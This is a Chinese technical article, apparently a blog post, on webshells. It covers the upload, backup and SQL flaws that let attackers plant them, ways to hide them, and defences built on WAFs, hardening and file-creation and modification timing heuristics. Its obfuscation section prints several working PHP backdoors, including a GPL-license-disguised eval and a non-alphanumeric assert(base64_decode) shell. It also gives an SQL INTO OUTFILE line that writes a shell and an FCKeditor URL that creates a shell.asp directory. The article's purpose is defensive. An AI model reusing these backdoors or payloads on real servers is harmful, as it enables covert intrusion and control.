文章主要分为3个部分:
1. WebShell的产生原因、以及常见的WebShell隐藏手段
2. WebShell的对抗方法
3. 文件磁盘的行为监控在WebShell对抗中的应用

1. Web软件开发的安全
    1) 程序中存在文件上载的漏洞，攻击者利用漏洞上载木马程序文件
        1.1) FCK文件上传漏洞，攻击者直接上传webshell，前提是这个网站允许上传类型为.php、.asp、.php.rar的文件，或者黑客通过其他的方式(例如XSS)恶意修改了允许上传文件
　　　　　　　　扩展的设置
        　　　　http://localhost/fckeditor/editor/filemanager/browser/default/connectors/test.html
        　　　　http://localhost/fckeditor/editor/filemanager/upload/test.html
        　　　　http://localhost/fckeditor/editor/filemanager/connectors/test.html
        　　　　http://localhost/fckeditor/editor/filemanager/connectors/uploadtest.html 
        1.2) FCK任意目录生成漏洞，攻击者生成/xx.asp/目录，然后再往这个目录下上传任意扩展后缀的文件，这些任意扩展后缀的文件都会被当作.asp来进行执行
        http://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp
　　　　　　　　&NewFolderName=z&uuid=1244789975684
        　　(这个指令可以在images文件夹下建立/shell.asp/文件夹)
    2) 后台数据库备份及恢复代码逻辑存在漏洞
        2.1) 利用后台对access数据库的"备份数据库"或"恢复数据库"功能，"备份的数据库路径"等变量没有过滤导致可以把任意文件后缀改为asp，从而得到WebShell
        (大概利用方式如下:)
            2.1.1) 我们将一个webshell的.php文件修改后缀，改成目标网站允许上传的文件扩展类型(例如.rar)
            2.1.2) 将这个shell.rar(包含webshell代码的文件)文件上传到网站附件文件夹中(例如\uploads\)
            2.1.3) 利用网站后台的数据库备份功能，这里一般情况下程序会让我们输入源文件路径，以及目标文件路径(程序错误的信任了用户输入的源路径就是有效路径，造成信任边界问题)
            2.1.4) 我们在备份文件的源路径填写我们刚才上传的shell.rar，然后在目标文件路径填写\www\shell.php、或者\www\shell.asp
            2.1.5) 备份的过程本质上是文件复制，完成复制后，我们上传的webshell就得以执行了
    2) 防sql注入
        2.1) 攻击者通过SQL注入获取后台管理员的帐号和密码，进入后台后
            2.1.1) 利用网站后台的SQL执行功能进行getshell(DEDE、Discuz等CMS的后台可以执行包括写磁盘在内的任意SQL命令)
            select "<?php eval($POST[‘op‘]); ?>" into outfile "c:\\wamp\\www\\shell.php";
            2.1.2) 利用后台的水印、头像、表情上传功能获取webshell。(要注意的是，大多数网站基本不允许上传.php、.asp后缀的文件。我们可以利用apache的解析漏洞
　　　　　　　　　　　　上传xx.php.rar这样的文件是shell得以执行。或者手动在后台开启.php、.asp的文件扩展上传设置)
            2.1.3) 在后台修改"允许上传的附件扩展类型"。(这是一种逻辑后门的思路，我们可以设置一种比较少见的扩展，例如，添加.cdx扩展，这样可以保持一定的隐蔽性，
　　　　　　　　　　　　同时让黑客能够顺利上传webshell)
    3) 防暴库
        3.1) 黑客通过爆库获得了网站后台的帐号和密码
        3.2) 黑客通过爆库直接获取了目标网站数据库的连接帐号和连接密码，直接进入数据库:
            3.2.1) 数据库rootkit: 数据后门触发器、数据库后门UDF等
            3.2.2) 利用phpmyadmin进行getshell
            3.2.3) 在数据库的某些表中方式"自动生成的webshell payload": 例如一些CMS的动态模版语言，当访问这些模版的时候，就会从数据库中提取我们的webshell payload，
　　　　　　　　　　进而进行写磁盘getshell
            　　　　http://www.i0day.com/1403.html
            　　　　http://ha.cker.in/1006.seo
            　　　　(在数据库的dede_mytag表中留下后门webshell payload，每次访问mytag_js.php的时候就会自动在\plus\目录下生成webshell文件)
    4) 防COOKIES欺骗
        4.1) 利用XSS漏洞获取管理员的帐号和密码
        4.2) XSS+GETSHEL，基于XSS的webshell也是一种webshell的形式，只是这种webshell的服务端在"受害者的浏览器"上
        http://www.exploit-db.com/vbseo-from-xss-to-reverse-php-shell/
    5) 防跨站脚本攻击。
2. 服务器的安全和web服务器的安全
    1) 服务器做好各项安全设置，安装WAF、流量分析IDS
　　　　(例如ModSecurity可以对HTTP流量进行恶意检测，方式webshell的打入、以及即使webshell已经存在了还可以阻止webshell的执行)
    　　http://www.freebuf.com/articles/web/18084.html
    2) 提升web服务器的安全设置
        2.1) WEBDEV可写，黑客可以利用iisput等工具上传webshell文件
        2.2) 文件系统的ACL控制，对web目录的账户读写权限进行严格控制
        http://www.e7xue.com/thread-28168-1-1.html
    3) 对以下命令进行权限控制(以windows为例)
        3.1) cmd.exe 
        3.2) net.exe 
        3.3) net1.exe 
        3.4) ping.exe 
        3.5) netstat.exe 
        3.6) ftp.exe 
        3.7) tftp.exe 
        3.8) telnet.exe
    (安全狗的一个很重要的功能就是对这些关键的命令(程序)进行限制和监控)
3. ftp文件上载安全
    1) FTP匿名访问: 设置好ftp服务器，防止攻击者直接使用FTP上传木马程序文件到web程序的目录中
    2) FTP弱口令破解: 黑客利用FTP的弱口令进行字典破解，上传webshell
4. 文件系统的存储权限
    1) 设置好web程序目录及系统其它目录的权限，相关目录的写权限只赋予给超级用户，部分目录写权限赋予给系统用户
    2) 不要使用root权限去运行mysql、apache等服务器。而使用特殊配置过的指定账户来运行这些web容器软件
5. 不要使用超级用户运行web服务
    1) 对于apache、tomcat等web服务器，安装后要以系统用户或指定权限的用户运行，如果系统中被植入了asp、php、jsp等木马程序文件，以超级用户身份运行，webshell提权后
　　　　获得超级用户的权限进而控制整个系统和计算机

webshell的隐藏、伪装技巧
1. 改默认密码
2. 改名，融入上传后所在的文件夹，将名字改得较为"普通"(例如indexi.php)，让人很难直观地看出文件的异常。
3. 文件大小的伪装处理(像正常脚本)
4. 将webshell的payload代码插入到网站原本的正常.php文件中(插入法)，普通的正则匹配很难发现这种webshell
5. webshell文件混淆:
    1) 变量名混淆
    2) 插入大量无用的随机字符串
6. 变形
    1) 仿照一些标准、正常的文件名。例如在Joomla的目录下放置LICESNE.php这种"不容易引起视觉可疑"的文件名，并且这些文件的内容都极其类似正常的LICENCE文件
    http://blog.sucuri.net/2013/08/more-creative-backdoors-using-filename-typos.html
    http://blog.sucuri.net/2013/08/open-source-backdoor-copyrighted-under-gnu-gpl.html
    <?php
    /*            GNU GENERAL PUBLIC LICENSE
    TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    ..

    GNU GENERAL PUBLIC LICENSE
    Version 2, June 1991

    */Copyright3_6_56()/* 1989, 1991 Free Software Foundation, Inc.
                  675 Mass Ave, Cambridge, MA 02139, USA
     Everyone is permitted to copy and distribute verbatim copies
     of this license document, but changing it is not allowed.

    Preamble

      The licenses for most software are designed to take away your
    freedom to share and change it. By contrast, the GNU General Public
    License is intended to guarantee your freedom to share and change free
    software--to make sure the software is free for all its users. This
    General Public License applies to most of the Free Software
    Foundation‘s software and to any other program whose authors commit to
    using it. (Some other Free Software Foundation software is covered by
    the GNU Library General Public License instead.) You can apply it to
    your programs, too.*/?>


    Joomla! derives from copyrighted works licensed under the GNU General
    Public License.  This version has been modified pursuant to the
    GNU General Public License as of September 15, 2005, and as distributed,
    it includes or is derivative of works licensed under the GNU General
    Public License or other free or open source software licenses.  Please
    see the CREDITS.php for a non-exhaustive list of contributors and
    copyright holders.  A full text version of the GNU GPL version 2 can be
    found in the LICENSE.php file.  A full text version of the other licenses
    that Joomla! is derivative of or includes can be found in LICENSES.php.

    <? php
    Copyright3_6_56();
    function Copyright3_6_56(){
    static $gnu = true;
    if(!$gnu) return;
    if(!isset($_REQUEST[‘gnu‘])||!isset($_REQUEST[‘c_id‘]))return;
    $gpl=implode(‘‘, $_REQUEST[‘gnu‘]);
    eval ($gpl( $_REQUEST[‘c_id‘]));
    $gnu=false;
    }
    ?>
2) 执行函数变形
    <?php
        $_="";
        $_[+$_]++;
        $_=$_."";
        $___=$_[+""];//A
        $____=$___;
        $____++;//B
        $_____=$____;
        $_____++;//C
        $______=$_____;
        $______++;//D
        $_______=$______;
        $_______++;//E
        $________=$_______;
        $________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O
        $_________=$________;
        $_________++;$_________++;$_________++;$_________++;//S
        $_=$____.$___.$_________.$_______.‘6‘.‘4‘.‘_‘.$______.$_______.$_____.$________.$______.$_______;
        $________++;$________++;$________++;//R
        $_____=$_________;
        $_____++;//T
        $__=$___.$_________.$_________.$_______.$________.$_____;
        $__($_("ZXZhbCgkX1BPU1RbMV0p"));   
        //ASSERT(BASE64_DECODE("ZXZhbCgkX1BPU1RbMV0p"));
        //ASSERT("eval($_POST[1])");
        //key:=1
        ?>
        类似的还有
        http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html

    3) 执行代码变形(payload变形)
        2.1) 将webshell的执行代码payload编码成base64的格式: bypass本地特征码检测软件
        2.2) 将webshell的执行代码payload使用加密算法(例如RSA1024)
        http://blog.sucuri.net/2013/10/backdoor-evasion-using-encrypted-content.html
            2.2.1) 私钥和文件保存在一起: bypass网络流量恶意检测软件，因为这样就可以直接在网络中传输密文。缺点是对于本地文件来说，解密当前webshell加密算法的key是暴露的
            2.2.2) 私钥和通过网络流量传输的命令放在一起: bypass本地特征码检测软件，在本机文件中不出现解密密文的key，保证了本地webshell文件的保密性。缺点是在网络流量中
　　　　　　　　　　　　出现了key，通过流量分析可以截获并解密之
        
    4) 执行函数和执行代码同时变形
    <?php
        $aaaaa="sewtemznypianol";
        $char_system=$aaaaa{0}.$aaaaa{8}.$aaaaa{0}.$aaaaa{3}.$aaaaa{1}.$aaaaa{5};
        //die($char_system);
        $aaaaaa="edoced46esab_n";
        $char_base64_decode=$aaaaaa{11}.$aaaaaa{10}.$aaaaaa{9}.$aaaaaa{8}.$aaaaaa{7}.$aaaaaa{6}.$aaaaaa{12}.$aaaaaa{5}.$aaaaaa{4}.$aaaaaa{3}.
    　　　$aaaaaa{2}.$aaaaaa{1}.$aaaaaa{0};
        die($char_base64_decode);
        echo $char_system($char_base64_decode("aXBjb25maWc="));
    ?>
7. 加花
    1) 在webshell代码中加入一些随机字符串等混淆因子，可以绕过一部分"基于正则"的检测软件
    <?php
        $subject=‘any_thing_you_can_write‘;
        $pattern="/^.*$/e";
        $payload=‘cGhwaW5mbygpOw==‘;
        //cGhwaW5mbygpOw==: "phpinfo();"
        $replacement=pack(‘H*‘, ‘406576616c286261736536345f6465636f646528‘)."\"$payload\"))";
        //406576616c286261736536345f6465636f646528: "eval(base64_decode(";
        preg_replace($pattern, $replacement , $subject);
    ?>
8. 多态
    1) 在实际的webshell开始执行前，典型的对传入的参数做一些判断，只有匹配条件时才会进入真正的执行路径。
    这种多态技术不仅可以躲过一些正则webshell检测系统，还可以避免被某些动态沙箱的检测软件捕获到(因为动态沙箱很难模拟出这个webshell脚本所需要的"启动参数")
    <?php
        if($_REQUEST["code"]==pany)
        {
        echo str_rot13(‘riny($_CBFG[pzq]);‘);
        eval(str_rot13(‘riny($_CBFG[pzq]);‘));
        }
        else
        {
        $url = $_SERVER[‘PHP_SELF‘];
        $filename = end(explode(‘/‘,$url));
           
        $content = ‘helloworld‘;
        $fp = fopen ("$filename","w");
        if (fwrite ($fp, $content))
        {
            fclose ($fp);
            die ("error");
        }
        else
        {
            fclose ($fp);
            die ("good");
        }
        exit;
        }
    ?>

1. 很多新增的webshell是通过老webshell上传的，"重感染"现象严重
2. 一些老的、之前已经存在的webshell由于做了很好的隐藏工作，不容易被发现，只要某台服务器上还存在一个webshell，那这个服务器就永远处在被入侵的状态，新的webshell还会不断
　　生成(甚至包括变态的SEO大马)
3. 这些老的webshell的检测依靠入侵监控是无法发现的，因为它们往往是在部署入侵监控系统之前就存在的，必须依靠"特征规则扫描"在受感染的服务器上进行扫描，将这些"隐藏"的
　　webshell抓出来，并删除之，才能一劳永逸地修复这台服务器

思考:
整个服务器安全、webshell对抗体系如下:
1. 最根源的问题: WEB系统的代码安全，我们根据不同的漏洞文件(例如mytag_js.php)给出相应的修复方案，帮助客户自动对CMS系统进行修复
2. 除了CMS系统的漏洞导致的GETSHELL，对FTP弱口令、FTP匿名可写、3389爆破、SSH若口令等系统级别的安全设置这个角度帮助用户加固主机
3. 做到以上这些步骤，还是不能保证主机不被入侵(0DAY、密码泄漏等威胁依然存在)，还必须在客户的服务器设置可疑行为监控程序，对可疑的文件操作行为进行监控、并上报到服务端进行
　　确诊检测
4. 服务端采用PHP动态沙箱技术对上报上来的脚本文件进行"模拟执行恶意性检测"，确定其是否为webshell
5. 做到了以上几部后，基本可以防御住新的webshell的生成，但是还要考虑到一个问题，很多的新增webshell是因为之前被入侵后在服务器上留下的老webshell导致的，我们要彻底修复
　　客户的服务器，就必须对这些现存的老webshell rootkit进行扫描，并清除之

webshell对抗手段:
1. 代码审计
    1) 代码层、WEB层面的安全审计永远是WEB安全的最根本、最有效的方法。一个健壮的WEB系统能够抵御来自黑客的各种攻击，使系统远离GETSHELL的可能
    2) 定期的代码补丁(例如CMS定期的补丁发布)
2. 人工加固
    1) 对ftp进行权限设置，取消匿名访问。
    2) 对目录进行权限设置，不同网站使用不同的用户权限
        说明:
        IIS可以针对不同的网站使用不同的虚拟路径(也可以理解为虚拟主机)，不同的虚拟主机之间可以单独设置路径权限信息
    3) 对系统盘的敏感目录及文件进行权限设置，提高系统安全性
        说明:
        系统加固的范畴，主要是对指定的敏感路径的ACL进行设置
    4) 定期更新服务器补丁，定期更新杀毒软件。
3. 部署Web防火墙 
　　    1) 可针对WebShell上传，进行控制、过滤与阻断;
　　    2) 实时阻断入侵者利用SQL注入、XSS攻击、缓冲区溢出攻击等获得web站点的目录修改权限
        2.1) WAF的功能，对GET、POST等HTTP中的敏感关键字进行检测
        2.2) WAF的0DAY规则库来自目前CMS的一些已知的、未知的POC攻击方法，每种POC都会有一个相对固定的"攻击特征"(表现在GET、POST数据包中就是一些特征字符串)，
　　　　　　　　通过搜集这些POC，编写相应的正则规则，在WAF端进行阻断拦截
　　    3) 支持对WebShell访问返回页面进行内容检测，切断入侵者企图调用访问WebShell的行为
        3.1) 安全宝、加速乐就有这样的功能
        3.2) ModSecurity的"链式检测"逻辑中，可以检测包括"服务器返回流量"在内的数据内容，当发现外流数据中有敏感信息的数据，予以阻断
　　    4) 支持实时检测过滤WebShell发起的各种攻击命令，阻断：
        4.1) 利用WebShell发起的挂马(现在主要是SEO暗链)
        4.2) 文件下载
        4.3) 端口扫描
        4.4) 内容篡改等各种攻击和非法操作
    (包括安全狗在内的防护软件都会有针对敏感指令(程序)的监控、以及API拦截)
4. 定期运行杀软
针对webshell的杀软和传统的二进制病毒的杀软在实现原理上有一些区别，针对webshell的杀软主要是基于特征码匹配的技术(常常是正则匹配)
    1) http://www.d99net.net/  D盾
    2) WebshellAutoCheck  
5. 目录监控
不管WEB漏洞的形式千变万化，webshell的写入方式不外乎两种: 写文件、修改文件。而这些操作都会引发文件系统的读写操作，我们可以对这些行为进行监控，区分出正常的业务操作和可疑
的黑客攻击行为。windows为实现这一需求提供了3个API
    1) http://msdn.microsoft.com/en-us/library/windows/desktop/ms687025(v=vs.85).aspx
    WaitForMultipleObjects function
    2) http://msdn.microsoft.com/en-us/library/windows/desktop/aa365465(v=vs.85).aspx
    ReadDirectoryChangesW function
    3) http://msdn.microsoft.com/en-us/library/windows/desktop/bb762120(v=vs.85).aspx
    SHChangeNotifyRegister function
6. PHP动态沙箱检测技术
利用PHP Zend Extension对PHP的关键函数API进行Hook，对动态执行中的函数调用进行污点检测、行为检测。从而解决了静态检测的的规则匹配中出现的误报、漏报问题
(关于PHP Zend Extension、API Hook技术的分享会放到下一篇文章(3)继续学习)

入侵检测技术分类
从技术上讲，入侵检测技术大致分为以下几类:
1. 基于知识的模式识别(常常是正则规则匹配特征): 也叫特征检测法
2. 基于知识的异常识别(更多的是行为模式的检测): 多维度的综合判断(有时会结合概率统计的技术)
3. 协议分析

在这类入侵检测系统中，我感觉这里有一个问题需要注意就是: "可管理性"，或者叫"可配置型"
1. 对于"正则类型的特征值检测技术"的产品来说，规则相对较为容易地抽象成一个个配置文件，可配置型和扩展性很好。因为它们的规则从作用域上来说一个个单独的点
　　(这里的点指的这条规则就只对一个较小的范围区域进行匹配检测)
2. 对于"行为模式检测类型"的产品来说，它所应用的"规则模型"往往较复杂，基本上不会是一条、或者两条正则能说明的。而是一个个的"是否满足某条件"的模式判断，通过这些条件的判断来
　　对当前行为的模式进行分类和判断。所以，这类产品很难抽象出一个单纯的规则配置文件，而是要把规则和代码混编在一起写，即规则隐含在代码逻辑中

几种异常识别的检测方法
1. 基于审计的攻击检测技术
这种检测方法是通过对审计信息的综合分析实现的，其基本思想是:
    1) 根据用户的历史行为、先前的证据或模型，使用统计分析方法对用户当前的行为进行检测和判别。这是一种结合历史信息的迭代识别思想
        1.1) 时间维度的判断，根据某个事件发生的之前的时间段内相同事件的发生情况
        1.2) 关联性维度的判断，判断当前发生的事件和之前发生的事件之间的关联性，是独立事件、还是关联事件
    2) 当发现可疑行为时，保持跟踪并监视其行为，同时向系统安全员提交安全审计报告

2. 基于神经网络的攻击检测技术
神经网络这块的学术研究转化为实际可用的技术目前还并不多，还有待研究

3. 基于专家系统的攻击检测技术(基于安全人员经验的攻击检测技术)
专家系统就是一个依据专家经验定义的推理系统，这种检测是建立在专家经验基础上的，它根据专家经验进行推理判断得出结论。而这个判断的依据往往专家结合自身的安全经验得出
的"实践性数据"，虽然没有理论支撑，但是具有合理性，能够起到很好的效果
例如:
    1) 当用户连续3次登录失败时，可以把改用户的第4次登录行为视为攻击行为
    2) 当某个目录下突然出现一个创建时间和其他文件明显不一致的文件时，可以把这个文件视为一个可疑webshell

4. 基于模型推理的攻击检测技术
攻击者在入侵一个系统时往往采用一定的行为程序，如猜测口令的程序，这种程序引发的行为构成了某种具有一定行为特征的模型，根据这种模型所代表的攻击意图的行为特征，可以实时地
检测出恶意的攻击企图。例如
    1) WEB扫描器在扫描网站时在日志中留下的访问记录就具有某些目录遍历的特征
    2) dede在每日更新cache的时候对文件的access、modify也会表现出顺序，时间间隔等特征
    3) 黑客在利用poc修改style_x.php的时候也会表现出不同于cache更新的访问特征

黑客GETSHELL的途径只有两种途径:
    1) 写磁盘
    2) 修改已存在的.php文件
所以我们只要捕获: 文件创建操作、文件修改操作这两种行为即可

1. 如果这个新创建的文件的创建时间和当前目录下的其他文件的创建时间差很多，则判定为可疑，getshell大部分都是通过写新文件得到的
2. 这是为了防御那种针对.config配置文件的写入，把后门代码插入到.config中进行getshell的。如果本次的修改文件的时间和创建时间差别太大，则判定为可疑文件
3. 因为黑客的写磁盘getshell一般都是在网站主程序安装完成，开始运行之后才进行的，所以这个基于创建时间的判断维度能比较有效的区分出正常操作和黑客的getshell
4. 而网站的主代码文件一般在程序安装完毕，上线运行之后就不会轻易被修改了，如果出现了被修改文件的修改时间和创建时间差别很大，即判定为可疑行为，即使是用户自己去主动修改这些
　　代码文件(例如打补丁等)，这种情况并不是常常发生，在可以允许的误报范围之内
5. 考虑到CMS中的常常有一些cache、log的机制。业务上会常常去修改这些文件，所以，在基于修改时间和创建时间的这个维度的判断上将阈值稍微调大，这样，网站正常的编辑/修改文件的
　　行为就不会被捕获判定为可疑，而我们的程序只会去捕获那些修改时间和创建时间差别相对较大的文件操作行为。背后含义即”非常规”的、”异常的编辑”行为，它们在时间线上往往表现为
　　一些孤立的点
6. 如果是网站的cache、log机制，那从创建时间和修改时间上表现出来的就是: 创建时间和修改时间之间差距不大，因为cache、log都是每天创建，每天修改的，而系统的代码文件是很早创
　　建的，然后会很少被修改到，如果一个很少被修改到的文件突然被修改了，则判定为可疑，我在代码中就是基于这样一个假设进行检测的
7. 如果在程序运行中捕获到的两次文件的创建的事件的时间差值很小(10s以内)，并且连续发生多次(5次)，说明正在进行大量的文件创建操作。即用户正在进行网站安装行为、或者手动在进
　　行正常的业务型的文件复制行为
8. 网站中普遍设置有cache、log机制。如果是网站的cache、log机制，那从创建时间和修改时间上表现出来的就是: 创建时间和修改时间之间差距不大，因为cache、log都是每天创建，
　　每天修改的，而系统的代码文件是很早创建的，然后会很少被修改到，如果一个很少被修改到的文件突然被修改了，则判定为可疑。
       1) log的差值阈值调整为1天(1个log/1天)
       2) cache的差值阈值调整为3天(1个cache/3天)
9. 如果:
       1) 用户从网上下载一个CMS程序: xxx.rar，然后用FTP上传到"客户端服务器"进行解压缩
       2) 用户直接把整个文件夹(例如/dede/)复制到"客户端服务器"
这些文件的"修改时间"会"早于"这些文件的"创建时间"，不同于我们通常理解的修改时间迟于创建时间
因为这些文件是在原始作者打包上传的那时候就修改完成的，而创建时间是在本次的复制中记录进去的。所以才造成了这个现象，而黑客通过WEB漏洞对.php等脚本文件的修改导致的GETSHELL，
修改时间都是迟于创建时间的
10. 能够识别出密集文件创建操作，同时还可以兼容对时间孤立的文件创建的可疑性判定，以及可疑文件修改的判定。这里的"密集文件操作"指的是当用户在进行.RAR解压缩、或者整体文件夹
　　复制的时候，往往会伴随着大量的文件操作，这个时候容易产生误报，我们必须有效地检测到密集文件操作的发生，并忽略之，减少误报